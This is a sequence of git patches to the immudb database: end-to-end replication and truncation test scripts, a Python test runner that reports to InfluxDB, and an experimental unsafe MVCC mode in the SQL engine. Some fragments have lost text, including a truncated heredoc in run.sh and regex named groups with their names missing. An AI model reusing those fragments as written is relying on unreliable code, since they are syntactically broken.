100644 --- a/test/e2e/truncation/main.go +++ b/test/e2e/truncation/main.go @@ -102,7 +102,7 @@ func randStr(length int) []byte { } func insertData(ic immuclient.ImmuClient, ctx context.Context) { - k := []byte(fmt.Sprintf("key:%d", time.Now())) + k := []byte(fmt.Sprintf("key:%d", time.Now().Unix())) v := randStr(256) _, err := ic.Set(ctx, k, v) if err != nil { diff --git a/test/e2e/truncation/run.sh b/test/e2e/truncation/run.sh new file mode 100755 index 0000000000..0feb9d7e69 --- /dev/null +++ b/test/e2e/truncation/run.sh @@ -0,0 +1,141 @@ +#!/bin/bash +ADDR=127.71.17.10 +CLIENT_APPLICATION=/src/immudb/test/e2e/truncation/truncation +DB=expire +DATADIR=/tmp/immudb +IMMUDB=/src/immudb/immudb +IMMUADMIN=/src/immudb/immuadmin +IMMUCLIENT=/src/immudb/immuclient +SIZE=500 +RETENTION=90s +INTERVAL=5s +FREQUENCY=30s +DURATION=300s + +usage () { +cat </dev/null & +PRIMARY_PID=$! +sleep 5 +while ! nc -z $ADDR 3322 +do + echo "Waiting immudb" + sleep 1 +done + +echo "Launching $CLIENT_APPLICATION" + +T0=`date +%s` +$CLIENT_APPLICATION -addr $ADDR -retention $RETENTION -interval $INTERVAL -frequency $FREQUENCY -db $DB& +CLIENT_PID=$! +T1=`date +%s` + +while [ $((T1-T0)) -lt $sDURATION ] +do +sleep 60 +echo "Waiting for duration" +T1=`date +%s` +done + +kill $CLIENT_PID +kill $PRIMARY_PID + +LAST=$(ls -t $DATADIR/data/$DB/val_0|tail -n 1) +LAST_TIME=$(stat -c%Z $DATADIR/data/$DB/val_0/$LAST) + +ls -l $DATADIR/data/$DB/val_0 +date + +if [ $((T1-LAST_TIME)) -gt $((sRETENTION+sFREQUENCY)) ] # +then +echo "RESULT: FAILED: $LAST is older ( $((T1-LAST_TIME)) ) than $RETENTION+$FREQUENCY" +exit 99 +else +echo "RESULT: OK: ( $LAST $((T1-LAST_TIME)) ) less than $RETENTION+$FREQUENCY" +exit 0 +fi + From 6da69736b571f667f039283deaa0b38095e46479 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 14 Feb 2023 16:07:45 +0100 Subject: [PATCH 0261/1062] Fixed xml output --- test/e2e/runtests.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index f013756dac..517fd13349 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -20,7 +20,7 @@ def build_docker(): def replication(ts): logging.info("Starting replication test") - xmlresult = ET.SubElement(tree, 'testcase', name="replication") + xmlresult = ET.SubElement(ts, 'testcase', name="replication") t0=time.time() result=subprocess.run( ["docker", "run", "-it", "--rm", "--entrypoint", "/src/immudb/test/e2e/replication/run.sh", TAG], @@ -38,7 +38,7 @@ def replication(ts): def truncation(ts): logging.info("Starting truncation test") - xmlresult = ET.SubElement(tree, 'testcase', name="truncation") + xmlresult = ET.SubElement(ts, 'testcase', name="truncation") t0=time.time() result=subprocess.run( @@ -62,8 +62,9 @@ def truncation(ts): if not build_docker(): sys.exit(1) -tree=ET.Element('testsuites') -ts = ET.SubElement(tree, 'testsuite', name="e2e") +root=ET.Element('testsuites') +tree=ET.ElementTree(root) +ts = ET.SubElement(root, 'testsuite', name="e2e") err=0 for test in (replication, truncation): if not test(ts): From a6bb4dada1151faa6108990483bf5ada50fd1730 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 14 Feb 2023 18:05:11 +0100 Subject: [PATCH 0262/1062] No Interactive flag for docker run --- test/e2e/runtests.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index 517fd13349..04689b3299 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -23,7 +23,7 @@ def replication(ts): xmlresult = ET.SubElement(ts, 'testcase', name="replication") t0=time.time() result=subprocess.run( - ["docker", "run", "-it", "--rm", "--entrypoint", "/src/immudb/test/e2e/replication/run.sh", TAG], + ["docker", "run", "--tty", "--rm", "--entrypoint", "/src/immudb/test/e2e/replication/run.sh", TAG], capture_output=True, text=True ) for l in result.stdout.split("\n")[-5:]: @@ -42,7 +42,7 @@ def truncation(ts): t0=time.time() result=subprocess.run( - ["docker", "run", "-it", "--rm", "--entrypoint", "/src/immudb/test/e2e/truncation/run.sh", TAG], + ["docker", "run", "--tty", "--rm", "--entrypoint", "/src/immudb/test/e2e/truncation/run.sh", TAG], capture_output=True, text=True ) ET.SubElement(xmlresult, "system-out").text=result.stdout From 8787ac430fdb3b00cddf6e80171832c982bc8dfe Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 14 Feb 2023 19:09:06 +0100 Subject: [PATCH 0263/1062] Fixed xml encoding --- test/e2e/runtests.py | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index 04689b3299..20ae37d9ae 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -1,6 +1,8 @@ #!/usr/bin/env python3 import subprocess,sys,logging, time import xml.etree.ElementTree as ET +import xml.sax.saxutils as saxutils + TAG="bla" logging.basicConfig( format='%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(message)s', level=logging.INFO @@ -18,6 +20,13 @@ def build_docker(): return False, time.time()-t0 return True, time.time()-t0 +def cleanup(s): + ret="" + for c in s: + if c>=' ' and c<='~': + ret=ret+c + return saxutils.escape(ret) + def replication(ts): logging.info("Starting replication test") xmlresult = ET.SubElement(ts, 'testcase', name="replication") @@ -28,8 +37,8 @@ def replication(ts): ) for l in result.stdout.split("\n")[-5:]: logging.info("replication result: %s", l) - ET.SubElement(xmlresult, "system-out").text=result.stdout - ET.SubElement(xmlresult, "system-err").text=result.stderr + ET.SubElement(xmlresult, "system-out").text=cleanup(result.stdout) + ET.SubElement(xmlresult, "system-err").text=cleanup(result.stderr) xmlresult.set("time", str(time.time()-t0)) if result.returncode!=0: logging.error("Docker replication test:", result.stderr) @@ -45,8 +54,8 @@ def truncation(ts): ["docker", "run", "--tty", "--rm", "--entrypoint", "/src/immudb/test/e2e/truncation/run.sh", TAG], capture_output=True, text=True ) - ET.SubElement(xmlresult, "system-out").text=result.stdout - ET.SubElement(xmlresult, "system-err").text=result.stderr + ET.SubElement(xmlresult, "system-out").text=cleanup(result.stdout) + ET.SubElement(xmlresult, "system-err").text=cleanup(result.stderr) xmlresult.set("time", str(time.time()-t0)) if result.returncode!=0: From 51d43d677b03a68df69ef482e81d2ffec4abe7ad Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 15 Feb 2023 11:51:36 +0100 Subject: [PATCH 0264/1062] Added Jeronimo options to replication --- test/e2e/replication/replic.sh | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/test/e2e/replication/replic.sh b/test/e2e/replication/replic.sh index 80f7a453b3..0b119794a3 100755 --- a/test/e2e/replication/replic.sh +++ b/test/e2e/replication/replic.sh @@ -69,6 +69,9 @@ while getopts "s:c:a:i:d:x:P:R:D:Sh" opt; do esac done +PRIMARY_OPTS=(--max-commit-concurrency 1000 --sync-frequency 5ms --write-buffer-size 16777216) +REPLICA_OPTS=(--sync-frequency 5ms --write-buffer-size 16777216 --max-commit-concurrency 1000 --replication-prefetch-tx-buffer-size 100 --replication-commit-concurrency 100 --replication-skip-integrity-check) + mkdir -p $DATADIR rm -rf $DATADIR/* @@ -91,7 +94,7 @@ do done echo -n "immudb" | $IMMUADMIN login -a $PRIMARY_ADDR immudb -$IMMUADMIN -a $PRIMARY_ADDR database create $DB ${SYNC_OPTION_PRIMARY[@]} +$IMMUADMIN -a $PRIMARY_ADDR database create $DB ${SYNC_OPTION_PRIMARY[@]} ${PRIMARY_OPTS[@]} echo -n "immudb" | $IMMUADMIN login -a $REPLICA_ADDR immudb $IMMUADMIN -a $REPLICA_ADDR database create $DB \ @@ -101,7 +104,8 @@ $IMMUADMIN -a $REPLICA_ADDR database create $DB \ --replication-primary-password immudb \ --replication-primary-port 3322 \ --replication-primary-username immudb \ - ${SYNC_OPTION_REPLICA[@]} + ${SYNC_OPTION_REPLICA[@]} \ + ${REPLICA_OPTS[@]} echo "Launching $STRESS_APPLICATION" From 8b66b74253f8e7b9d123c0e7a6f0606ff81e96d4 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 17 Feb 2023 08:14:52 +0100 Subject: [PATCH 0265/1062] Influxdb support --- test/e2e/.gitignore | 7 +++++++ test/e2e/requirements.txt | 8 ++++++++ test/e2e/runtests.py | 38 +++++++++++++++++++++++++++++++++++--- test/e2e/runtests.sh | 10 +++------- 4 files changed, 53 insertions(+), 10 deletions(-) create mode 100644 test/e2e/.gitignore create mode 100644 test/e2e/requirements.txt diff --git a/test/e2e/.gitignore b/test/e2e/.gitignore new file mode 100644 index 0000000000..5a599797f2 --- /dev/null +++ b/test/e2e/.gitignore @@ -0,0 +1,7 @@ +bin +include +lib +lib64 +pyvenv.cfg +share +result.xml diff --git a/test/e2e/requirements.txt b/test/e2e/requirements.txt new file mode 100644 index 0000000000..d5a0628449 --- /dev/null +++ b/test/e2e/requirements.txt @@ -0,0 +1,8 @@ +certifi==2022.12.7 +influxdb-client==1.36.0 +pkg-resources==0.0.0 +python-dateutil==2.8.2 +reactivex==4.0.4 +six==1.16.0 +typing-extensions==4.5.0 +urllib3==1.26.14 diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index 20ae37d9ae..48095390a4 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -1,7 +1,8 @@ #!/usr/bin/env python3 -import subprocess,sys,logging, time +import subprocess,sys,logging, time, string, os import xml.etree.ElementTree as ET import xml.sax.saxutils as saxutils +import influxdb_client TAG="bla" logging.basicConfig( @@ -23,7 +24,7 @@ def build_docker(): def cleanup(s): ret="" for c in s: - if c>=' ' and c<='~': + if c in string.printable: ret=ret+c return saxutils.escape(ret) @@ -42,7 +43,10 @@ def replication(ts): xmlresult.set("time", str(time.time()-t0)) if result.returncode!=0: logging.error("Docker replication test:", result.stderr) + xmlresult.set("status", "failure") + ET.SubElement(xmlresult, "failure", message="Test failed") return False + xmlresult.set("status", "success") return True def truncation(ts): @@ -60,7 +64,10 @@ def truncation(ts): if result.returncode!=0: logging.error("Docker truncation test: %s", result.stderr) - + xmlresult.set("status", "failure") + ET.SubElement(xmlresult, "failure", message="Test failed") + else: + xmlresult.set("status", "success") ret=False for l in result.stdout.split("\n")[-5:]: if "OK:" in l: @@ -82,3 +89,28 @@ def truncation(ts): ET.dump(tree) tree.write("result.xml") +if all(map(os.getenv,["INFLUX_TOKEN", "INFLUX_ORG", "INFLUX_BUCKET", "INFLUX_ORG"])): + # here all env variable are set + logging.info("Sending data to influxdb") + org=os.getenv("INFLUX_ORG") + token=os.getenv("INFLUX_TOKEN") + url=os.getenv("INFLUX_URL") + bucket=os.getenv("INFLUX_BUCKET") + jobname=os.getenv("JOB_NAME","none") + client = influxdb_client.InfluxDBClient(url=url, token=token, org=org ) + repl_time=float(tree.findall('./testsuite/testcase[@name="replication"]')[0].attrib['time']) + repl_status=tree.findall('./testsuite/testcase[@name="replication"]')[0].attrib['status'] + trunc_time=float(tree.findall('./testsuite/testcase[@name="truncation"]')[0].attrib['time']) + trunc_status=tree.findall('./testsuite/testcase[@name="truncation"]')[0].attrib['status'] + p = influxdb_client.Point("immudb-replication-truncation") \ + .tag("job", jobname) \ + .field("replication_time", repl_time) \ + .field("replication_status", repl_status) \ + .field("truncation_time", trunc_time) \ + .field("truncation_status", trunc_status) + with client.write_api( + write_options=influxdb_client.client.write_api.SYNCHRONOUS + ) as write_api: + write_api.write(bucket=bucket, org=org, record=p) + logging.info("Sent") + diff --git a/test/e2e/runtests.sh b/test/e2e/runtests.sh index eaed2a4d71..3c04079b82 100755 --- a/test/e2e/runtests.sh +++ b/test/e2e/runtests.sh @@ -1,9 +1,5 @@ #!/bin/sh -set -e - -TAG=bla - -docker build -f Dockerfile ../.. -t $TAG -docker run -it --rm --entrypoint /src/immudb/test/e2e/replication/run.sh $TAG -docker run -it --rm --entrypoint /src/immudb/test/e2e/truncation/run.sh $TAG +test -f bin/activate || python3 -mvenv . +./bin/pip install -qr requirements.txt +./bin/python3 runtests.py From e3cbbeaafa1cf2140f28e87a3e1fb489c24c803d Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 17 Feb 2023 12:07:19 +0100 Subject: [PATCH 0266/1062] Added tx/s and kv/s stats --- test/e2e/replication/replic.sh | 4 ++-- test/e2e/runtests.py | 15 +++++++++++---- 2 files changed, 13 insertions(+), 6 deletions(-) diff --git a/test/e2e/replication/replic.sh b/test/e2e/replication/replic.sh index 0b119794a3..f8ec97619c 100755 --- a/test/e2e/replication/replic.sh +++ b/test/e2e/replication/replic.sh @@ -135,5 +135,5 @@ kill $PRIMARY_PID kill $REPLICA_PID echo "RESULT: Elapsed: $((T2-T0)) seconds, $((T1-T0)) for inserting, $((T2-T1)) for sync" -echo "RESULT: Total KV: $((SIZE*$WORKERS*BATCHSIZE)), Total TX $(($WORKERS*BATCHSIZE))" -echo "RESULT: Total KV/s: $(( (SIZE*$WORKERS*BATCHSIZE)/(T2-T0) )), Total TX/s $(( (10*BATCHSIZE)/(T2-T0) ))" +echo "RESULT: Total KV: $((SIZE*WORKERS*BATCHSIZE)), Total TX $(($WORKERS*BATCHSIZE))" +echo "RESULT: Total KV/s: $(( (SIZE*WORKERS*BATCHSIZE)/(T2-T0) )), Total TX/s $(( (SIZE*WORKERS)/(T2-T0) ))" diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index 48095390a4..9452fb328a 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -import subprocess,sys,logging, time, string, os +import subprocess,sys,logging, time, string, os, re import xml.etree.ElementTree as ET import xml.sax.saxutils as saxutils import influxdb_client @@ -28,7 +28,7 @@ def cleanup(s): ret=ret+c return saxutils.escape(ret) -def replication(ts): +def replication(ts, stats): logging.info("Starting replication test") xmlresult = ET.SubElement(ts, 'testcase', name="replication") t0=time.time() @@ -38,6 +38,10 @@ def replication(ts): ) for l in result.stdout.split("\n")[-5:]: logging.info("replication result: %s", l) + m := re.match(r'RESULT: Total KV/s: (?P\d+), Total TX/s (?P\d+)') + if m is not None: + stats['replication_kvs']=m.groups('kv') + stats['replication_txs']=m.groups('tx') ET.SubElement(xmlresult, "system-out").text=cleanup(result.stdout) ET.SubElement(xmlresult, "system-err").text=cleanup(result.stderr) xmlresult.set("time", str(time.time()-t0)) @@ -49,7 +53,7 @@ def replication(ts): xmlresult.set("status", "success") return True -def truncation(ts): +def truncation(ts, stats): logging.info("Starting truncation test") xmlresult = ET.SubElement(ts, 'testcase', name="truncation") t0=time.time() @@ -82,8 +86,9 @@ def truncation(ts): tree=ET.ElementTree(root) ts = ET.SubElement(root, 'testsuite', name="e2e") err=0 +stats={} for test in (replication, truncation): - if not test(ts): + if not test(ts,stats): err=err+1 ts.set("errors",str(err)) ET.dump(tree) @@ -108,6 +113,8 @@ def truncation(ts): .field("replication_status", repl_status) \ .field("truncation_time", trunc_time) \ .field("truncation_status", trunc_status) + for s in stats: + p.field(s, stats[s]) with client.write_api( write_options=influxdb_client.client.write_api.SYNCHRONOUS ) as write_api: From 0f162222949bf7606e3fea2e8a55c5511cfb0044 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 17 Feb 2023 12:55:39 +0100 Subject: [PATCH 0267/1062] Fix for regexp --- test/e2e/runtests.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index 9452fb328a..dcf669df2c 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -38,7 +38,7 @@ def replication(ts, stats): ) for l in result.stdout.split("\n")[-5:]: logging.info("replication result: %s", l) - m := re.match(r'RESULT: Total KV/s: (?P\d+), Total TX/s (?P\d+)') + m := re.match(r'RESULT: Total KV/s: (?P\d+), Total TX/s (?P\d+)',l) if m is not None: stats['replication_kvs']=m.groups('kv') stats['replication_txs']=m.groups('tx') From 8ab57d8d5ec2a79fad7ad52abd759fe12e8cd5f1 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 17 Feb 2023 12:58:42 +0100 Subject: [PATCH 0268/1062] Removed walrus operator --- test/e2e/runtests.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index dcf669df2c..d18d07c7cc 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -38,7 +38,7 @@ def replication(ts, stats): ) for l in result.stdout.split("\n")[-5:]: logging.info("replication result: %s", l) - m := re.match(r'RESULT: Total KV/s: (?P\d+), Total TX/s (?P\d+)',l) + m = re.match(r'RESULT: Total KV/s: (?P\d+), Total TX/s (?P\d+)',l) if m is not None: stats['replication_kvs']=m.groups('kv') stats['replication_txs']=m.groups('tx') From 54020eefb9442a24cb014c8888234184455e563e Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 17 Feb 2023 15:48:46 +0100 Subject: [PATCH 0269/1062] Fixed group reference --- test/e2e/runtests.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index d18d07c7cc..bb3207cf6e 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -40,8 +40,8 @@ def replication(ts, stats): logging.info("replication result: %s", l) m = re.match(r'RESULT: Total KV/s: (?P\d+), Total TX/s (?P\d+)',l) if m is not None: - stats['replication_kvs']=m.groups('kv') - stats['replication_txs']=m.groups('tx') + stats['replication_kvs']=m.group('kv') + stats['replication_txs']=m.group('tx') ET.SubElement(xmlresult, "system-out").text=cleanup(result.stdout) ET.SubElement(xmlresult, "system-err").text=cleanup(result.stderr) xmlresult.set("time", str(time.time()-t0)) From 22738632904148e1ef19c95b8d8429e83f1db20b Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 23 Feb 2023 08:51:18 +0100 Subject: [PATCH 0270/1062] log formatting --- test/e2e/runtests.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/test/e2e/runtests.py b/test/e2e/runtests.py index bb3207cf6e..59b58c94b4 100755 --- a/test/e2e/runtests.py +++ b/test/e2e/runtests.py @@ -17,7 +17,7 @@ def build_docker(): capture_output=True, text=True ) if result.returncode!=0: - logging.error("Docker build failure:", result.stderr) + logging.error("Docker build failure: %s", result.stderr) return False, time.time()-t0 return True, time.time()-t0 @@ -46,7 +46,7 @@ def replication(ts, stats): ET.SubElement(xmlresult, "system-err").text=cleanup(result.stderr) xmlresult.set("time", str(time.time()-t0)) if result.returncode!=0: - logging.error("Docker replication test:", result.stderr) + logging.error("Docker replication test: %s", result.stderr) xmlresult.set("status", "failure") ET.SubElement(xmlresult, "failure", message="Test failed") return False From 64081ec500bc512dcd31f0d3c6c84641bf08befd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 28 Feb 2023 11:00:11 -0300 Subject: [PATCH 0271/1062] test(embedded/sql): benchmark sql insertion Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 645fa5aae3..42981ae907 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6134,11 +6134,15 @@ func TestCopyCatalogToTx(t *testing.T) { func BenchmarkInsertInto(b *testing.B) { workerCount := 100 + txCount := 1 + eCount := 1 opts := store.DefaultOptions(). - WithSynced(false). + WithSynced(true). WithMaxConcurrency(workerCount) + opts.IndexOpts.WithFlushThld(1_000_000) + st, err := store.Open(b.TempDir(), opts) if err != nil { b.Fail() @@ -6161,7 +6165,7 @@ func BenchmarkInsertInto(b *testing.B) { b.Fail() } - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE mytable1(id VARCHAR[30], title VARCHAR[50], PRIMARY KEY id);", nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable1(id VARCHAR[30], title VARCHAR[50], PRIMARY KEY id);", nil) if err != nil { b.Fail() } @@ -6174,16 +6178,18 @@ func BenchmarkInsertInto(b *testing.B) { var wg sync.WaitGroup wg.Add(workerCount) + stmts, err := Parse(strings.NewReader("INSERT INTO mytable1(id, title) VALUES (@id, @title);")) + if err != nil { + b.Fail() + } + for w := 0; w < workerCount; w++ { go func(r, w int) { - txCount := 50 - eCount := 10 - for i := 0; i < txCount; i++ { txOpts := DefaultTxOptions(). WithExplicitClose(true). - WithSnapshotRenewalPeriod(1000 * time.Millisecond). - WithSnapshotMustIncludeTxID(nil) + WithSnapshotRenewalPeriod(10_000 * time.Millisecond). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return ctxs[0].txHeader.ID }) tx, err := engine.NewTx(context.Background(), txOpts) if err != nil { @@ -6196,13 +6202,15 @@ func BenchmarkInsertInto(b *testing.B) { "title": fmt.Sprintf("title_%d_%d_%d_%d", r, w, i, j), } - _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO mytable1(id, title) VALUES (@id, @title);", params) + //_, _, err = engine.Exec(context.Background(), tx, "INSERT INTO mytable1(id, title) VALUES (@id, @title);", params) + _, _, err = engine.ExecPreparedStmts(context.Background(), tx, stmts, params) if err != nil { b.Fail() } } err = tx.Commit(context.Background()) + //err = tx.Cancel() if err != nil { b.Fail() } From 28526edf60dab64b5cfb1a1a8da028a4d08768e2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Mar 2023 13:39:15 -0300 Subject: [PATCH 0272/1062] feat(embedded/sql): wip unsafe and optimized mvcc Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 26 +++++++++++++++++++++++++- embedded/sql/engine_test.go | 12 +++++------- embedded/store/immustore.go | 10 ++++++---- 3 files changed, 36 insertions(+), 12 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 7f8e12daca..942ca3adc5 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -106,6 +106,8 @@ type Engine struct { multidbHandler MultiDBHandler + lastCatalogTxID uint64 + mutex sync.RWMutex } @@ -188,9 +190,31 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { mode = store.ReadWriteTx } + var snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 + // If last tx modifying the schema is not set, indexing must to be up-to-date. + // At least that requirement is at commit time, + // but it's set during tx initialization to simplify commit steps + + if opts.unsafeMVCC && e.lastCatalogTxID > 0 { + snapshotMustIncludeTxID = func(lastPrecommittedTxID uint64) uint64 { + // return the greatest value e.lastCatalogTxID and opts.SnapshotMustIncludeTxID + if opts.SnapshotMustIncludeTxID == nil { + return e.lastCatalogTxID + } + + providedTxID := opts.SnapshotMustIncludeTxID(lastPrecommittedTxID) + + if e.lastCatalogTxID < providedTxID { + return providedTxID + } + + return e.lastCatalogTxID + } + } + txOpts := &store.TxOptions{ Mode: mode, - SnapshotMustIncludeTxID: opts.SnapshotMustIncludeTxID, + SnapshotMustIncludeTxID: snapshotMustIncludeTxID, SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 42981ae907..530b48f24c 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6134,15 +6134,14 @@ func TestCopyCatalogToTx(t *testing.T) { func BenchmarkInsertInto(b *testing.B) { workerCount := 100 - txCount := 1 - eCount := 1 + txCount := 10 + eCount := 100 opts := store.DefaultOptions(). WithSynced(true). + WithMaxActiveTransactions(100). WithMaxConcurrency(workerCount) - opts.IndexOpts.WithFlushThld(1_000_000) - st, err := store.Open(b.TempDir(), opts) if err != nil { b.Fail() @@ -6170,8 +6169,6 @@ func BenchmarkInsertInto(b *testing.B) { b.Fail() } - time.Sleep(1 * time.Second) - b.ResetTimer() for i := 0; i < b.N; i++ { @@ -6188,7 +6185,7 @@ func BenchmarkInsertInto(b *testing.B) { for i := 0; i < txCount; i++ { txOpts := DefaultTxOptions(). WithExplicitClose(true). - WithSnapshotRenewalPeriod(10_000 * time.Millisecond). + WithSnapshotRenewalPeriod(0). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return ctxs[0].txHeader.ID }) tx, err := engine.NewTx(context.Background(), txOpts) @@ -6207,6 +6204,7 @@ func BenchmarkInsertInto(b *testing.B) { if err != nil { b.Fail() } + } err = tx.Commit(context.Background()) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 254e62b8f0..4a378a2a5c 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1268,10 +1268,12 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader } if otx.hasPreconditions() { - // Preconditions must be executed with up-to-date tree - err = s.WaitForIndexingUpto(ctx, currPrecomittedTxID) - if err != nil { - return nil, err + if !otx.unsafeMVCC { + // Preconditions must be executed with up-to-date tree + err = s.WaitForIndexingUpto(ctx, currPrecomittedTxID) + if err != nil { + return nil, err + } } err = otx.checkPreconditions(s) From 05403225360b533a21df0c09d900c45707349b63 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Mar 2023 18:01:08 -0300 Subject: [PATCH 0273/1062] feat(embedded/store): unsafe mvcc mode Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 7 ++++++- embedded/sql/engine_test.go | 7 +++++-- embedded/sql/sql_tx_options.go | 7 +++++++ embedded/store/ongoing_tx.go | 6 ++++-- embedded/store/ongoing_tx_options.go | 9 +++++++++ 5 files changed, 31 insertions(+), 5 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 942ca3adc5..004623e4f6 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -195,7 +195,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { // At least that requirement is at commit time, // but it's set during tx initialization to simplify commit steps - if opts.unsafeMVCC && e.lastCatalogTxID > 0 { + if opts.UnsafeMVCC && e.lastCatalogTxID > 0 { snapshotMustIncludeTxID = func(lastPrecommittedTxID uint64) uint64 { // return the greatest value e.lastCatalogTxID and opts.SnapshotMustIncludeTxID if opts.SnapshotMustIncludeTxID == nil { @@ -210,12 +210,17 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return e.lastCatalogTxID } + } else { + snapshotMustIncludeTxID = func(lastPrecommittedTxID uint64) uint64 { + return lastPrecommittedTxID + } } txOpts := &store.TxOptions{ Mode: mode, SnapshotMustIncludeTxID: snapshotMustIncludeTxID, SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, + UnsafeMVCC: opts.UnsafeMVCC, } e.mutex.RLock() diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 530b48f24c..198652f1de 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6169,6 +6169,9 @@ func BenchmarkInsertInto(b *testing.B) { b.Fail() } + // TODO: lastCatalogTxID automatically managed by the engine + engine.lastCatalogTxID = ctxs[0].txHeader.ID + b.ResetTimer() for i := 0; i < b.N; i++ { @@ -6185,8 +6188,8 @@ func BenchmarkInsertInto(b *testing.B) { for i := 0; i < txCount; i++ { txOpts := DefaultTxOptions(). WithExplicitClose(true). - WithSnapshotRenewalPeriod(0). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return ctxs[0].txHeader.ID }) + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }) tx, err := engine.NewTx(context.Background(), txOpts) if err != nil { diff --git a/embedded/sql/sql_tx_options.go b/embedded/sql/sql_tx_options.go index a223226576..cd27f54203 100644 --- a/embedded/sql/sql_tx_options.go +++ b/embedded/sql/sql_tx_options.go @@ -28,6 +28,7 @@ type TxOptions struct { SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 SnapshotRenewalPeriod time.Duration ExplicitClose bool + UnsafeMVCC bool } func DefaultTxOptions() *TxOptions { @@ -38,6 +39,7 @@ func DefaultTxOptions() *TxOptions { SnapshotMustIncludeTxID: txOpts.SnapshotMustIncludeTxID, SnapshotRenewalPeriod: txOpts.SnapshotRenewalPeriod, ExplicitClose: false, // commit or rollback explicitly required + UnsafeMVCC: false, // mvcc restricted to catalog changes } } @@ -68,3 +70,8 @@ func (opts *TxOptions) WithExplicitClose(explicitClose bool) *TxOptions { opts.ExplicitClose = explicitClose return opts } + +func (opts *TxOptions) WithUnsafeMVCC(unsafeMVCC bool) *TxOptions { + opts.UnsafeMVCC = unsafeMVCC + return opts +} diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 59eb317012..a38ea0123f 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -30,8 +30,9 @@ import ( type OngoingTx struct { st *ImmuStore - snap *Snapshot - readOnly bool // MVCC validations are not needed for read-only transactions + snap *Snapshot + readOnly bool // MVCC validations are not needed for read-only transactions + unsafeMVCC bool entries []*EntrySpec entriesByKey map[[sha256.Size]byte]int @@ -92,6 +93,7 @@ func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingT st: 